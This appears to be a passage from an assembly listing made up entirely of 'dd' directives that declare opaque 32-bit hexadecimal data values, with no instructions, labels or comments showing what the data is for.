		dd 3C009FF9h, 0D2B7354Fh, 3D18FAE6h, 0D526B630h, 169200BEh
		dd 0B459B1AAh, 0A1008E1Dh, 0DB4BAFE2h, 0A4FB91h, 511CD965h
		dd 73122964h, 6045DC00h, 63DA49F4h, 3ECB3F21h, 4BE83380h
		dd 0B4CC43B6h, 0AD3AD100h, 3CB0D4C1h, 31C00057h, 87612153h
		dd 0D33CB5A2h, 4344861Dh, 30AC8ADh, 2DC4A947h, 8298B99Eh
		dd 0B0489D93h, 99860329h, 0AB72FFF9h, 8E7CA222h, 31D738DFh
		dd 0E1CE00B3h, 0D3654AA4h, 0B814F928h, 119DE007h, 182A63F6h
		dd 1ED03F3Fh, 0F4E1CD00h, 2B6A5795h, 511DE8EEh,	311D17C2h
		dd 0A5434147h, 0F530D937h, 9C30F7h, 0F8B7805h, 1033FE9Bh
		dd 7000B7Bh, 7055EC16h,	905D42D9h, 0E7050031h, 0CE2C6B58h
		dd 0AC0657E9h, 0F1833C7Dh, 4A7A2294h, 2A329C40h, 28FDF875h
		dd 0E88135CCh, 4C3100CFh, 72A95803h, 4B2AD810h,	8D80F66Dh
		dd 5E9013D1h, 0D93339h,	498350F9h, 3018D5BAh, 734EDE52h
		dd 581859C8h, 6D7A5F57h, 29CC080h, 0E31D7E6Bh, 0D867FE1Eh
		dd 274949A5h, 52F120h, 0BC20B79Ch, 4D723F40h, 0A7363A00h
		dd 11CEDDBAh, 690485Ch,	3F46828h, 1E7C6955h, 5EE1F5E2h
		dd 6653D479h, 0E5CA2600h, 0AC62913Ch, 76E048h, 0CC7DD74Ah
		dd 0B937503Dh, 0EC9E2C03h, 0F064210Dh, 6019FA5Dh, 7311987Ah
		dd 0FB12E875h, 0D0015F9Dh, 7209EE02h, 2A411E8Ch, 3660522Fh
		dd 4EAAE8F6h, 75200069h, 0F19CE586h, 8D000B02h,	0F24414A2h
		dd 4855602Eh, 0C7837BEh, 0B6D6C3A8h, 1E03C9C0h,	9C5838EFh
		dd 29C7E0B0h, 960D009Ah, 419EC019h, 92A83EC4h, 2F77ECD8h
		dd 867E3360h, 3A8260EFh, 3811280h, 8E6A2A17h, 0C683E0A9h
		dd 0F9C8280Ch, 31F35819h, 8B0EC77Ah, 8DABC42Bh,	0AD520500h
		dd 0A7937F16h, 908330EAh, 1BAA4158h, 4B493600h,	553320ADh
		dd 0C5B20097h, 3BB1D3C7h, 2802BF56h, 1D0CB743h,	3141D726h
		dd 9FCC4286h, 505AF661h, 1580D6EAh, 4502EE09h, 920F8008h
		dd 13925BCh, 0C6B24E4Ch, 8AB46409h, 89C96018h, 13D5980Ch
		dd 0AE800A7h, 0D05B3825h, 0AB1E69D3h, 7380AF55h, 8877228Eh
		dd 661101E7h, 0F49481B7h, 75FE32F8h, 0A8DB6900h, 0ADA05D49h
		dd 0D09EC119h, 2083AB6Ch, 92021EBAh, 3AC75E03h,	94815CC2h
		dd 9A09A8E4h, 8C2090DDh, 1A069D34h, 80412E38h, 9C2BC2A7h
		dd 0A0E69BDFh, 39229A9h, 0C9D8B9A6h, 1724610Ch,	501FA863h
		dd 58452A00h, 712FBC38h, 0C1A60642h, 28E76404h,	819480F7h
		dd 0E295118Fh, 0C3AF5C3Eh, 827E1E01h, 0B01C09F5h, 0E977840Ah
		dd 6C5800B9h, 0CF16A5AFh, 88031F21h, 0C4D6B6A3h, 0AE6C01C6h
		dd 5F3E2B17h, 96B640A1h, 1C0608B1h, 4540542Fh, 59407C3h
		dd 80D3AB5Ah, 7D6A5642h, 0FBE01E09h, 3CE40064h,	3C29A476h
		dd 86A4F188h, 0E464233h, 1FB6CBC8h, 4F4D3A01h, 4B3824B1h
		dd 18C3AFD8h, 22136706h, 3738C65Dh, 8EAEA84Ah, 65E06E06h
		dd 0B28F95h, 49C4ED5h, 394942BAh, 6813A202h, 0C00282B9h
		dd 0E8319615h, 43070015h, 0C104C9DFh, 3080BDEFh, 1A995957h
		dd 74140100h, 0E19F8C78h, 311E0300h, 6EFD9452h,	9C7489h
		dd 957EB932h, 5AF14440h, 9887501h, 7C1906EBh, 1CC7AE40h
		dd 0F38C59EDh, 0F86D8B18h, 4801B762h, 0A835B3D1h, 0F292DDBBh
		dd 0E4EED3C2h, 0F8E9D6B1h, 0E102BF4Eh, 9E837D21h, 301EC0B1h
		dd 0F6464943h, 3DB313h,	0ECD12FCBh, 650083FFh, 0F6F49380h
		dd 60632411h, 23D9628Dh, 56046F3Eh, 0C681E689h,	5014F1EDh
		dd 293E06B8h, 34875800h, 0EA685C24h, 890F329Eh,	0D80C3E14h
		dd 8034110Ah, 0C895A1Ch, 97147E00h, 81593100h, 424B76F1h
		dd 0F2CAFE36h, 368B6054h, 5204C483h, 582A78C0h,	94295C96h
		dd 8F863B29h, 6810846h,	39470F83h, 0C83345Dh, 8FF570Ch
		dd 0C481285Ah, 58E90F11h, 0AAC0FC1Ah, 0D563AEB8h, 0C503071Eh
		dd 0E7FE040h, 742B309Bh, 16BEE7Dh, 0FC7386B1h, 0CC1AE766h
		dd 0B00C5CBh, 85AEC47h,	111319Fh, 0BED26435h, 7004E102h
		dd 0A1009D13h, 8575377Eh, 30A67A4h, 4122C772h, 5D89C56h
		dd 55000359h, 449230Bh,	0FC78176Dh, 0E2FC15h, 7DDD8552h
		dd 960C870h, 8D1C7400h,	4A475DCDh, 25270924h, 2D81948Bh
		dd 0E8207545h, 52582CA4h, 791E0EFCh, 27C8E042h,	2FF169D6h
		dd 36D605Ch, 25B33C0h, 0F0DD01FBh, 8BBC1064h, 93D12B95h
		dd 0CC7985C7h, 0AEAC34D1h, 7E316B00h, 44386589h, 8B660954h
		dd 46D361D3h, 9F96170h
		dd 5858B99h, 0CBEB6A61h, 0C2E99DD9h, 0F68CF6h, 0A41EBF46h
		dd 0D268BC9h, 5C85D5Fh,	6167006Dh, 0C3754C6Ch, 8E001694h
		dd 83F99B09h, 5A4417E3h, 23192F55h, 7B56001Ah, 69FB7E13h
		dd 81660B02h, 5D2007D3h, 8B41590h, 410F4B00h, 1695ADD0h
		dd 1F59022Dh, 0C18BACC9h, 0E407BFEh, 2E4376Fh, 293315EBh
		dd 94D4B195h, 80805B0Eh, 4BC381B8h, 662EC074h, 687035B9h
		dd 8BCC109Dh, 105873F9h, 792C418Dh, 81031400h, 0CEB732EAh
		dd 0F3849576h, 0CB181831h, 506E3444h, 9CA0000Ch, 0A8BEBF73h
		dd 89637B18h, 14B70F40h, 9083F5CBh, 48F16860h, 182DF881h
		dd 85E6838Ch, 0C00A77C6h, 0A7BCE20h, 30090DAh, 1B3AD9A4h
		dd 1FE37C0h, 5F4E2979h,	981E211Fh, 0E621B608h, 52FE002Fh
		dd 0A0C42C25h, 0B00FB39h, 0BE9A2B22h, 780DA5D8h, 4EFA0Ch
		dd 235D9E44h, 0D9A7EC63h, 0F034AE00h, 58DBC62Ch, 1B3F0712h
		dd 0B0C062A0h, 0A842AAB3h, 1C8A3D00h, 0ED8A7EEh, 5CF83976h
		dd 2C86410h, 8AF1141Bh,	23209E6Eh, 98021979h, 5D60618Dh
		dd 0C1F03FC0h, 0D9383E60h, 1C63735Ah, 8C5FC432h, 5709BBDDh
		dd 6B7A21C0h, 329063h, 45C9C346h, 41044C99h, 0B0218106h
		dd 0C8F8D534h, 7AC0F758h, 46C43963h, 562297h, 0C5637281h
		dd 2F05FF54h, 780CB17Ch, 20282371h, 4A98003Ah, 0BA15EC36h
		dd 14007ACEh, 62E0B980h, 6188C1FEh, 1BA42824h, 763C48F3h
		dd 0C4356308h, 4053C477h, 14636E7Dh, 2BF50342h,	98A67173h
		dd 0C460C0C8h, 0D903A0A1h, 8F445E2h, 31C08A0Ch,	462973FEh
		dd 7DBB221Eh, 46FE48E0h, 0C4DD0073h, 4494D0E4h,	51480335h
		dd 0C63F0200h, 55672A0Ch, 0C3E199E0h, 0F295A012h, 8C702019h
		dd 0FE083318h, 0C42E2975h, 2BE240BDh, 2D36FEh, 974BF48Bh
		dd 8DE3374Fh, 23F8C218h, 24A8C5F0h, 1B48059Dh, 0B09AE89Ch
		dd 2CA08500h, 0B81E5423h, 7FB7E3Bh, 0FDFCA496h,	8E4663Eh
		dd 5E213663h, 0B4DBD0F3h, 76F4F58Dh, 4423F473h,	0EC00622Dh
		dd 0ACE9561Fh, 0B6046Dh, 1C134459h, 318E25C2h, 50ED237Eh
		dd 88793AC4h, 10434437h, 0C36B3B33h, 0F900E4DDh, 62F8DE92h
		dd 0A43F7F0Ch, 0C0EF095Ah, 0DE8B1921h, 357FBE08h, 55AB2514h
		dd 724864B0h, 0FFDE9960h, 24848EB8h, 0C120EE44h, 2391C768h
		dd 58999C21h, 0E4C0D600h, 0A3C5E96Ah, 0D768100Ch, 23370641h
		dd 18A827h, 0C985719Ch,	0F864F12Bh, 0B0CA8028h,	69DF30C4h
		dd 0C0F06201h, 903024C5h, 9123E142h, 7AFE3801h,	0B7185629h
		dd 430E788h, 672F4BFEh,	0BBC08098h, 29094FDFh, 0A375C5Fh
		dd 0A9115828h, 2B7DB700h, 0C68F45A0h, 96C91D06h, 5028314Ch
		dd 4284C099h, 0E29C4242h, 6EA630F0h, 66CEC01h, 8E32315Bh
		dd 0E50C3020h, 0C106A006h, 508836CFh, 9C26069h,	53C412D9h
		dd 99C7400Ch, 4880385Eh, 2E884CBFh, 989CFDC0h, 0FE0C21A4h
		dd 601E3791h, 0CD6180F5h, 731D20B3h, 0E8EAF601h, 5AD72DA6h
		dd 70C1C040h, 11189922h, 637580F2h, 8C6FC434h, 17C5444h
		dd 308636Dh, 0D73DEB9Ah, 336507B0h, 6B47F0A0h, 0E86060D4h
		dd 8D008CF4h, 0BD184D2h, 1C0CB833h, 72242C01h, 9240A3D9h
		dd 9300F98Ch, 0FF4539E4h, 0C01CBDE8h, 0C2021021h, 6CA12104h
		dd 97818F5h, 87C43763h,	7F00EC9Ch, 0FD306370h, 275E738h
		dd 5AF8AE02h, 6C480427h, 8303E31Bh, 9B94C25Dh, 67F01053h
		dd 0C56C8841h, 87A1A093h, 0F64478A4h, 0DE8C1D1Ah, 1FFF475Eh
		dd 2A39B0A9h, 3E09D95Ah, 81EE09D8h, 413C8880h, 6E234822h
		dd 0FBDE9501h, 0A84E9762h, 0DE8E1C00h, 8FD135E1h, 0DA60F702h
		dd 0C0CB2BBFh, 88F615D0h, 4B3523D3h, 343AE0A6h,	0E2033023h
		dd 7C66AF92h, 0FCBB2EA9h, 97130995h, 20E4C402h,	0A4172202h
		dd 0FF603034h, 0A4249A9Ch, 6270681Ch, 1D6F4F7h,	18A116CDh
		dd 0C0ADCF7Fh, 0E060292Ah, 78D7DAF1h, 83499B7h,	5A00637Fh
		dd 0B6A69E14h, 5C03169Bh, 23643EDFh, 0EE8400B6h, 0DDA03C9Ch
		dd 0AFA0FD50h, 9E306448h, 0F68A6C9h, 18205EDCh,	0A1EA897Bh
		dd 7600D2F5h, 7D4E9951h, 4F480BDh, 3D321E39h, 4A04C265h
		dd 0A5D6F320h, 0F5810006h, 0EB9B5B24h, 333D6012h, 233B0553h
		dd 0A422A573h, 9CFE302Fh, 14A49911h, 618F3488h,	73A640F6h
		dd 50D1F409h, 41FCD05Dh, 0A2042348h, 0E7B63055h, 1047B48h
		dd 0C29B666Fh, 0C6042044h, 0EF007908h, 0EEC61E2Dh, 488CCC14h
		dd 987A16B6h, 5BF72048h, 4420D8B0h, 80D891B5h, 2231BDB4h
		dd 97010EA6h, 0F7FCFE65h, 28B9CBC8h, 0BC10F4DDh, 562A0BA1h
		dd 11E89DB2h, 20898054h, 12E547DAh, 255A3301h, 6DBC082Ch
		dd 0FADE94C0h, 48F5862h, 0DE8D20E7h, 0AC027282h, 4896CA10h
		dd 0C5B08742h, 3698AFC0h, 0A18876DCh, 7418F1B8h, 0C4336308h
		dd 4050C467h, 9A636C7Bh, 29F106C3h, 582E386Fh, 9781330Ch
		dd 8CF6F8BCh, 38637905h, 0E0388FC4h, 63710080h,	0CF150EF8h
		dd 0BF000ADBh, 41FA406Bh, 9913059Ch, 1836D108h,	2FB23EC8h
		dd 0DDBBAD80h, 92A6CDF2h, 28CE2A29h, 1F183371h,	0AA4BF300h
		dd 3735A4D2h, 0B189052h, 0A1E0D0D8h, 182A9011h,	949C04F9h
		dd 2CFDECA4h, 0F17A5Ch,	92F611ADh, 1BBB317h, 0C763F26h
		dd 5B74674h, 0A65408Ch,	9AC3F080h, 6F2E0A06h, 21D04950h
		dd 1851D1F4h, 9C733A72h, 21C86592h, 80B40370h, 0FCA05579h
		dd 1F732A15h, 0C34C3FCFh, 0F9E99551h, 5FD25CF8h, 0AA04F318h
		dd 7B42CC31h, 0E1320441h, 804A0CDCh, 8F2B350Ch,	0A8397030h
		dd 0BBA45DC3h, 0A8AF787Ch, 2B4A4607h, 50CC9497h, 19B02CC7h
		dd 77298364h, 180045C0h, 0F869CA0h, 0B9BAA472h,	18F1D114h
		dd 0AA6E01DCh, 0BC4025EFh, 80E9CDEAh, 0B40859C1h, 50D46729h
		dd 9631441Ch, 78F02328h, 5804267Bh, 7F5DA62Bh, 4B625CB0h
		dd 7186E55h, 41D76ED6h,	0D0E0A0BFh, 126FA6A1h, 0DB1F7D63h
		dd 19B881B0h, 65F89516h, 0A6E90659h, 0A95E0B55h, 0C124C813h
		dd 0BF358480h, 1158B966h, 0DE978170h, 59FA62FDh, 901E600Ch
		dd 8148B3DEh, 0E355151Ch, 0C7E405B8h, 3004A66Ch, 71226B53h
		dd 11DE9830h, 88AF62FEh, 911F83EDh, 498AC2DEh, 0A7B58448h
		dd 65201D00h, 88DAED13h, 0F458E446h, 63AF2C84h,	22A0C8BCh
		dd 0D2946C8h, 0A6939CF8h, 8835C818h, 98B0F05Bh,	0BF114302h
		dd 0AE69C03Ch, 0CFDD01C4h, 0BC24A3F4h, 0D84D89B2h, 0EF03BD68h
		dd 0DD8E58AFh, 0C9EAA0D3h, 8A160098h, 7A9C3A5Ah, 0D0136701h
		dd 5022C08Ch, 9CFA302Bh, 42D7955Ch, 3D32224Ch, 0A703F25Dh
		dd 0A131EA65h, 49E02DD0h, 89D464B8h, 3C9811DCh,	190C3667h
		dd 9BF4B405h, 6993C0E4h, 2CE565E2h, 50489E7h, 544D5BF4h
		dd 0B410A888h, 0FEB98421h, 0BB233Eh, 7E976847h,	63249D4Ah
		dd 0BF08ACB5h, 6C17CB54h, 87803011h, 3C66CB43h,	0D768324Dh
		dd 0F223CC2Bh, 6CDAE800h, 0D7B161h, 0F79E2BCh, 672B8465h
		dd 8420F429h, 44F1E908h, 0FE32608Bh, 26292374h,	0E100BA11h
		dd 9DB5FE2Ah, 0EC123DE0h, 0AC12BD04h, 0B4C880CBh, 12010EC3h
		dd 88B00C8Ah, 8DE6C5C4h, 1A0F865h, 4001E456h, 0DACD0409h
		dd 715C40A1h, 0AB418B7h, 489A078h, 38230144h, 0CCD3837Ah
		dd 69008E24h, 0F0E0C592h, 1450D557h, 0EC34C058h, 946E4Ah
		dd 9BC40CD0h, 2C635E4h,	64609746h, 0C82D45B8h, 4EBC7C3Ch
		dd 46C3068Ch, 48E9A1D8h, 85339080h, 1DEC09Eh, 46E81DCFh
		dd 73CA355h, 88A0C974h
		dd 0ACD4063Ah, 0B087851Eh, 0DCBC96h, 7EDF8AE5h,	9F30CAA2h
		dd 78B46F24h, 7C8BA492h, 9BC05588h, 9E238Ch, 48357BAAh
		dd 6414C640h, 0BCE0444Ch, 0DD028CEEh, 2AE5C679h, 7948519Fh
		dd 53D41954h, 31D71BEh,	9A2BEDAAh, 0CDA0729Bh, 230C7C95h
		dd 0F04F4097h, 0A9902F3Ah, 6F30439h, 5A53EA38h,	0EB5444A4h
		dd 0D866005Ah, 5AD8232h, 35741A42h, 2048E793h, 88208732h
		dd 81C07ED3h, 9934F25Fh, 192FD15Ch, 676010CBh, 0FB640F6Ah
		dd 4E3B04A8h, 41348CB4h, 0A56887B8h, 1D40ABDCh,	4E8F3A4h
		dd 66C9B29h, 0F987C094h, 0DE1DC63Fh, 0B8046A01h, 9088E025h
		dd 5DD00CC3h, 63110C05h, 0F36191F0h, 1C772B20h,	0A004F032h
		dd 3B104DB4h, 9C00B423h, 47165B06h, 0FB5D1372h,	23343A20h
		dd 0D3000BDh, 99911749h, 1875EA00h, 82F229DEh, 0D06238FBh
		dd 8CAFA8h, 9DC25BABh, 8B29CD49h, 34FF6E06h, 9886DCBh
		dd 38A3D40Eh, 5FE4480Fh, 0A49CB028h, 4674049Eh,	324E01B5h
		dd 0CB5CF7FDh, 55ECC48h, 0BB361A17h, 0B208A358h, 0E95830EDh
		dd 8650C25Ch, 79AF03h, 0B219A707h, 3E710886h, 0E788ED50h
		dd 6E3DC402h, 81E5C1B8h, 4DC2FBE4h, 44A824h, 6E3B6484h
		dd 2F9E5703h, 0C800A779h, 0D46F33CDh, 52D3DD2h,	74F0A167h
		dd 0F298A2E1h, 0C8933056h, 48867200h, 95A11589h, 0F8EC533Ah
		dd 0AA30BCA2h, 0AB00081h, 0A8681303h, 6F2529F5h, 0BD508008h
		dd 0C1F0B5D8h, 0BFE8A1E8h, 84E304CAh, 4E3036A2h, 0D0463FAFh
		dd 11950880h, 0FA9DD8C6h, 0DC2F9892h, 11E097A4h, 15238052h
		dd 2C7CDD8h, 95066B8Bh,	5841B240h, 8C9DC63Fh, 9B81B511h
		dd 824CC37Eh, 5DE8EE69h, 7FCAE0D0h, 0AF1A0062h,	0BC4D7032h
		dd 7148B8BAh, 0AEC32144h, 0F24656F4h, 0E4338F00h, 2472EB7Dh
		dd 48AD8324h, 0FD00A191h, 1439285Ah, 0BC9442AFh, 131465Eh
		dd 6546F2EAh, 7038D0D8h, 0A60411h, 1A0211CEh, 0C06762h
		dd 42AE5C92h, 59AB3D3Eh, 0FA29D8C0h, 0DC2B9B32h, 0C3FD4268h
		dd 0C8E889A8h, 705FD904h, 108BAC53h, 81CE30C8h,	606304CCh
		dd 901D48ADh, 0DB803291h, 0F6C2739Ah, 1AC17C0Eh, 0FB26455Ah
		dd 0ECA23895h, 0C930EDF2h, 1844F043h, 483D675Dh, 2295F0D8h
		dd 0A0AD04D8h, 0C8599AA4h, 8B1C00E8h, 5C0CEA55h, 1CB8F59Fh
		dd 2A2F5820h, 0CEC3323h, 4B63351Ch, 3B0D8950h, 110755A4h
		dd 40D8B820h, 110501A8h, 0A9B0642Bh, 0BDFB2890h, 4094BCACh
		dd 0A255DF71h, 0CBEB2300h, 0BDE90157h, 2A8CA8FFh, 5BCFC56h
		dd 3073F5DEh, 2EB8A229h, 0DB40D0C2h, 0F02B789h,	0B6F09552h
		dd 80DFC0A7h, 0D6E287CAh, 6CE07900h, 2181FC65h,	0E3DA00A1h
		dd 0A63FC261h, 606E9B5Dh, 0D600F3B8h, 46396506h, 0F80D0C68h
		dd 0A6C8C2D8h, 98EE717Ch, 0AC9CBB54h, 6E60AF88h, 9C408940h
		dd 0A621CC8Bh, 68EF2517h, 1FC2EC44h, 34F77140h,	60139E9Ah
		dd 0C811C5E1h, 0B1233D8Ch, 4363903Bh, 200B1401h, 0F1C4FA46h
		dd 4A4045C1h, 3DAF9EA2h, 212CC003h, 75F6B90h, 38F097EEh
		dd 0A4717C24h, 89D75D35h, 0A3E87E81h, 5C99D19Fh, 18AF5D1Ch
		dd 0A2495968h, 41596CA8h, 7CAAE38Bh, 5D9C1451h,	190224E0h
		dd 27C8772Ch, 0B019A458h, 0F6D007B5h, 21B8891h,	3C8155A8h
		dd 643467F0h, 1F4561F6h, 486A1AE0h, 0C13CB26h, 61C4047Dh
		dd 0CEE485DFh, 0C24FC894h, 8460C252h, 0C8B13B2Fh, 0B918F3F1h
		dd 987E8402h, 48CF6A43h, 2AAD6D34h, 0EAA4E359h,	23380B32h
		dd 986D37BBh, 1F20B8C0h, 66B601C8h, 0A849E2D0h,	2CC55A3h
		dd 0F317195Ch, 0A5ACC040h, 58AF7A80h, 605B085Fh, 20BBE0B4h
		dd 79A47503h, 0A872E647h, 646CD4Bh, 98C86360h, 0F5F140BCh
		dd 0B86C7844h, 0F9018CEFh, 0D3C86F0Fh, 64600C9Bh, 4BE05A9h
		dd 0A62F4EA5h, 19DFE088h, 3D2139F5h, 0A15F5880h, 0F6D2A5D6h
		dd 948BFE07h, 0DA14289Fh, 187A0E13h, 0B0A88077h, 1490F4F1h
		dd 91589797h, 6D3180B9h, 1A9F8F1h, 0E1239901h, 70C5E36Bh
		dd 7890063Dh, 8B025700h, 536562A6h, 8616F1Eh, 0E8AB1B1Dh
		dd 2B731902h, 483BF877h, 40A1D898h, 97702302h, 1183669h
		dd 3B25247Ch, 90F2A844h, 6830F2F2h, 139A0074h, 0A8648A4Ch
		dd 68CA037Dh, 0A0879058h, 92604A39h, 5F2C640h, 25C86701h
		dd 10FC00EDh, 449BBBA0h, 575BE7F2h, 0B7601044h,	74B08112h
		dd 9D585138h, 2090003Fh, 135D2E9Eh, 49DA8B2Ch, 78DE2306h
		dd 91D41797h, 6C6A80B8h, 0A05D6672h, 0B9433CECh, 0F6D908F4h
		dd 0C0E8A303h, 46590681h, 8050B33Dh, 786E395Fh,	9F5E3900h
		dd 96BEAB88h, 0A5B6E01h, 8BDF1B76h, 163599DCh, 479A7A1h
		dd 0B4840Ch, 0BBDE819Bh, 0ED70E9F6h, 39A2F647h,	0DB309F4Ah
		dd 0B85EC9D0h, 6D388197h, 4D369D8h, 305F2BC0h, 0B2D0E343h
		dd 47213051h, 650C1AEAh, 90C610F8h, 173526A4h, 0C00C836Ch
		dd 0DEE5D1E8h, 0D13380C4h, 0A29B6A74h, 4CECDAF8h, 6D8030C2h
		dd 0BF364FE0h, 0FE87AE03h, 80C9A20Bh, 9B6D5CFh,	0F07C293Dh
		dd 4020FC04h, 0CA36ABB0h, 0E489306Bh, 1AE0951h,	377ED300h
		dd 4316A933h, 69FF0776h, 48DB864h, 0BF8CD0Ch, 0C05388ECh
		dd 41A128A5h, 17172048h, 0B0469355h, 2943C2h, 78E84297h
		dd 1204B3BAh, 4960A300h, 2E2A8BF5h, 98A9CEDFh, 1AD8B220h
		dd 0C4054FBCh, 0F11FE593h, 0EDF208A2h, 60C33030h, 83518147h
		dd 1500F07Bh, 10BC12CFh, 256E50B9h, 7C20AA4Ah, 3D3C5F29h
		dd 39581890h, 110420BCh, 4FC299h, 976DCF96h, 0ED0931h
		dd 34FAC3B8h, 412DD16Ch, 5119F400h, 0D8C4BC02h,	24492D5h
		dd 75C062FBh, 2874AE8Ah, 3A344674h, 2B808075h, 39F7AD54h
		dd 0E9B018C4h, 0E58960EAh, 0C761F9C0h, 44F073h,	0B9DC9A1Eh
		dd 390158CFh, 51262433h, 47D5D8AEh, 6C4B00DDh, 894090CEh
		dd 4494FA24h, 0CB839B00h, 16F2A0C6h, 7220FC3h, 99E21384h
		dd 60BC0452h, 290706DCh, 59F6D0C6h, 465EB8B4h, 177939BCh
		dd 7D02C585h, 0E014D2F3h, 83489898h, 0DB9DD8E0h, 0A03B0099h
		dd 0E2BB0027h, 6ECAC923h, 0C309E029h, 94F1FDD0h, 0E541C814h
		dd 3F202904h, 30BC98BCh, 41C4008Ch, 81BEAD21h, 0D17429F4h
		dd 0B6AF5B02h, 5944366Bh, 18F2713Ch, 0DF59013Bh, 248D5873h
		dd 0AD71802Bh, 0CADB4F33h, 0F65B0E61h, 0E54071A8h, 0C4BA87AAh
		dd 2C561A02h, 5CA7EF25h, 0F6465EA8h, 300AF39h, 35112565h
		dd 0FC582A4Ah, 492127B4h, 31BDDE94h, 0F43E3Ah, 0F0F5C63Fh
		dd 0AB048D29h, 3690E0A8h, 0B19C3200h, 515AB880h, 4C4A09B5h
		dd 8C445DAFh, 0FA09A842h, 38AFC631h, 6599A6C2h,	0B32ADCC0h
		dd 82AC9A4Ch, 41CF67DAh, 4C23F8C9h, 0EB30F0A2h,	939D1DE5h
		dd 0A815C2AFh, 988B3425h, 0F411AC9Dh, 852E3080h, 0E5FA76BDh
		dd 9FF0FE27h, 80BB1140h, 474E553Fh, 0A0930175h,	7B5DA422h
		dd 0C44B2E5Ah, 2B844830h, 2F9C4AD5h, 1312304h, 4E0F4EDh
		dd 0E8202FF8h, 5C02D257h, 99D808A0h, 282E9729h,	0FA44184Ch
		dd 0E8A0E890h, 596960BEh, 0E5A9BA6h, 39896C09h,	111C9F3Bh
		dd 24EB87F3h, 61B4017Bh, 18207BCCh, 0F87C8A52h,	163D9940h
		dd 0C260059h, 87E3E118h, 0F400FADDh, 0D4EFB46h,	0F1E8D2h
		dd 6B2A01E6h, 7ED9B127h, 9AA12C00h, 1DD02B23h, 74A0E44Ch
		dd 0F81E0025h, 151F245Ch, 510026C1h, 2C3F09F0h,	0E4C3DA0h
		dd 4BC2611Ch, 3CEAE420h, 0EB7D041Bh, 0C3237300h, 0C587903Fh
		dd 296B6656h, 18802143h
		dd 49C9C873h, 9EC682D0h, 2B64089h, 0C5DA168Ch, 81DCDBDBh
		dd 0B5607475h, 7C6ECCh,	39D5C46Dh, 34233F6h, 90A69D05h
		dd 0F4DCBE3Bh, 0F0FD55BFh, 0BEE52447h, 5AEDEC28h, 23F83BA3h
		dd 639A0035h, 3F7B5447h, 4BC32815h, 0C72100E0h,	8A20395Dh
		dd 8B3D0084h, 35BFCBE7h, 90BC483h, 19FAD03Ah, 34188D18h
		dd 2976FE0Bh, 8188C536h, 9AFE2CE3h, 164830F3h, 1398FC48h
		dd 5CA3CECCh, 0A23032B2h, 0CA102C6h, 0FF45A8C4h, 2F6A080h
		dd 0E49428D8h, 8F2B7A00h, 9D750589h, 5311EC9Dh,	0E3E4A980h
		dd 8B581D30h, 3F9021Ch,	5CBB3D1Ch, 41A00FF0h, 3ADAC31Ch
		dd 0F100B104h, 0CB4A278h, 0C07F3977h, 84ECB60Eh, 8E00B9F1h
		dd 419936C5h, 3592CE7h,	3715DA8Bh, 44E28667h, 0D60C56h
		dd 0CE93E2ACh, 89C64B36h, 0A16E7901h, 0F0D998A6h, 18527876h
		dd 2B3033E2h, 6647374h,	7F361A30h, 0F0F2F86Ch, 0D2596960h
		dd 25C06589h, 0CC22CB4Ch, 6201666Bh, 5078DFC1h,	8C32F8h
		dd 2BCCE20Ah, 1FEA0EBCh, 6FEE90ECh, 28048C4Eh, 0D8E8DDBDh
		dd 128CEFE8h, 8EDFED78h, 98EE00F8h, 3E65CD9Eh, 0FB930041h
		dd 0BEDF611Ah, 86035B75h, 433DA66Ch, 8BE90060h,	4ECF5F3Bh
		dd 6638BD95h, 0BC9F29C0h, 0FF1838F1h, 4E0F0790h, 0E0CD45D8h
		dd 63AF233Fh, 0C3A1DF3Ch, 3B9226A4h, 47B922h, 1D58A34Ch
		dd 0F3CC6A33h, 0F0EFB601h, 0B3049B70h, 995024h,	20025F87h
		dd 6AEE7BEAh, 7D80DF00h, 97A06EB2h, 4A501809h, 11B919Eh
		dd 107E4C90h, 0A8958F24h, 0B9D04382h, 9FBC40F5h, 3244E6Fh
		dd 9BCCF998h, 0F0B1B0B0h, 3701F892h, 2BF3F1E9h,	92B8497h
		dd 288B395Ch, 0BA11409Fh, 1924A380h, 0D6F63279h, 3D25B0F8h
		dd 8FA0A507h, 0FE362820h, 46292678h, 2EE57050h,	2C03FE0Eh
		dd 0A04E0C97h, 80D49423h, 408E54E0h, 9C04311Bh,	740B0EF9h
		dd 1A9CCC0h, 6364840Ch,	58A90431h, 0DB50075h, 1FA59065h
		dd 0EB007E5Ah, 0CCF80B20h, 1350CE8Bh, 3A3F6F63h, 0BB23A8h
		dd 0ABEC2657h, 458FDEAh, 675D0B94h, 0A854C85Ah,	561A80C8h
		dd 3F01A4B9h, 65A412BCh, 0C559841h, 1A5B0600h, 1899A078h
		dd 0EE590056h, 6D6095B9h, 1304C521h, 960D6BF7h,	61E320C1h
		dd 30F8A184h, 5D9E01CCh, 18814A9Bh, 0F19F49DBh,	843B6FD9h
		dd 8B09B523h, 4048822Ch, 0B8E105BEh, 8C57ECF0h,	0CABC470Fh
		dd 0BAAC40B8h, 3E7A358Eh, 64205D3Eh, 0E8C0A00Dh, 39AC68C2h
		dd 835D0BB8h, 0E6FA8870h, 0A5180E64h, 50B82CACh, 26E008Ch
		dd 0E6AD20F6h, 444C61A6h, 8CF5BC74h, 0AFF31A00h, 69554389h
		dd 4D3068Ch, 0B8A724F8h, 1B81CBECh, 6F43EEF4h, 414C994h
		dd 862316AAh, 87D4B0h, 6F7CA7D2h, 5D6A95D0h, 5984E500h
		dd 426DF24Ch, 5A180035h, 2905532Eh, 0C800D06Eh,	0B5BD9314h
		dd 0A8A601h, 92AFECA0h,	0BA97228Ah, 390F6E00h, 6AE89634h
		dd 5F03003Ch, 0F377CEDBh, 810EBAC6h, 0E04C58DDh, 78DFEB6Eh
		dd 588C6EF5h, 0ECF6ACE0h, 0E23C6038h, 0F8E9A87Bh, 0FADB83Ch
		dd 0A0DEBAF8h, 0F509A558h, 1C12985Fh, 802CD038h, 659A63CBh
		dd 3DEC3C60h, 4A2E2600h, 7C34121Eh, 419D0038h, 0E7625B1h
		dd 0D1E40D08h, 44DD1300h, 4C1B64B2h, 0C4E8049Bh, 804A8791h
		dd 0C0136E28h, 19983C00h, 41D0AC0Fh, 0D8EA0568h, 40DD1182h
		dd 0CE2705A8h, 883AEDF7h, 8AC28634h, 1585F5Dh, 0DD36E51Ah
		dd 0C49470FBh, 2D00638Eh, 2529E728h, 72A813h, 8DB75BC3h
		dd 1B01036Ah, 0F855EC00h, 0B990E96Ch, 60E70021h, 0D73E4371h
		dd 0DB00EAACh, 0A5E69C1Fh, 1253EBC9h, 1ADBE9Dh,	631CA0DAh
		dd 8E188703h, 21C3584Fh, 0CB3FB9C0h, 0D8D7C0h, 0C11E7EBCh
